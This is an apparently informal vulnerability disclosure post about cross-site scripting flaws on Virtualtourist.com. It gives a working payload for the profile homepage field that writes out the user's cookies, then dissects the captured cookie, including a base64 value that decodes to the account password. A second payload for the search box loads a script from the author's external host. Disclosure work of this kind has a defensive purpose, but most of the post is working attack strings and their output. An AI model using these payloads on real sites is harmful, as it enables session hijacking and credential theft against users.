Virtualtourist.com - XSS with cookie disclosure

[luny () youfucktard com]

Virtualtourist.com

Homepage:
http://www.virtualtourist.com

Effected files:
Input boxes of your profile
search destination input box

-------------------------------------------------------


XSS vulnerability with cookie disclosure:

Under the section of "Tell others a little about yourself" the input box "Your External Homepage" does not correctly 
filter user data input. We can bypass this by escaping quotes and using ending tags. For PoC try putting this in the 
"Your 

external homepage" box:
">">'>'><""><IMG SRC=javascript:document.write(document.cookie)><"<"<"<'<"">

Screenshots:
http://www.youfucktard.com/xsp/virt1.jpg
http://www.youfucktard.com/xsp/virt2.jpg

And below is our cookie data that was written out:

VTGL3=4213; RMID=48960e9c448d1f20; VTVisit=448d1ffd; RMFS=011FphYUU206xzA; VT=bbd45.443b84e70a5fa06ba8515a

0e0d39db1c|luny666|0|k9pFi7ASw/4c68/7I2/bxg|0|j0qmfs|0|0|UTC; VTOStamp=448d2150; VTID=NzY5MzQ5fGZ1Y2tpdA==

Now, lets dissect this cookie, I don't know much about it at this time,except a few things:

VTGL3=4213; (maybe our userid #)

RMID=48960e9c448d1f20; (No idea, Registered Member ID #or hash ? )

VTVisit=448d1ffd; (Virtual Tourist Vist=Possibly random string given to this session, or page we were on)

RMFS=011FphYUU206xzA; (No idea, Registered Member something ?)

This next part is huge, and in a few sections:

VT=bbd45.443b84e70a5fa06ba8515a0e0d39db1c|luny666|0|k9pFi7ASw/4c68/7I2/bxg|0|j0qmfs|0|0|UTC;

VT=bbd45. (No idea, Virtual Tourist something)

443b84e70a5fa06ba8515a0e0d39db1c (Looks like a md5 hash, am working to find out if its a pw)

luny666 (This my our username)

0 (No idea, possibly meaning 0, like 1 would mean yes)

k9pFi7ASw/4c68/7I2/bxg (No idea, could be a password)

bxg|0|j0qmfs|0|0|UTC; (No idea)

VTOStamp=448d2150; (VirtualTourist Timestamp string?)

And finally, the best one of all, this one WE DO know what it is:

VTID=NzY5MzQ5fGZ1Y2tpdA==

The above this base64 encoded. When we decode NzY5MzQ5fGZ1Y2tpdA== we see that it says: 

769349|fuckit

And everyone, yes my password for that website is "fuckit". (Don't bother, I only use this password to audit sites) 
Now, 

we know the users login name (luny666) and password (fuckit).

--------------------------------------------------

XSS Vuln via search destination input box:

For a XSS example try putting:
">">'>'><""><SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<'<"">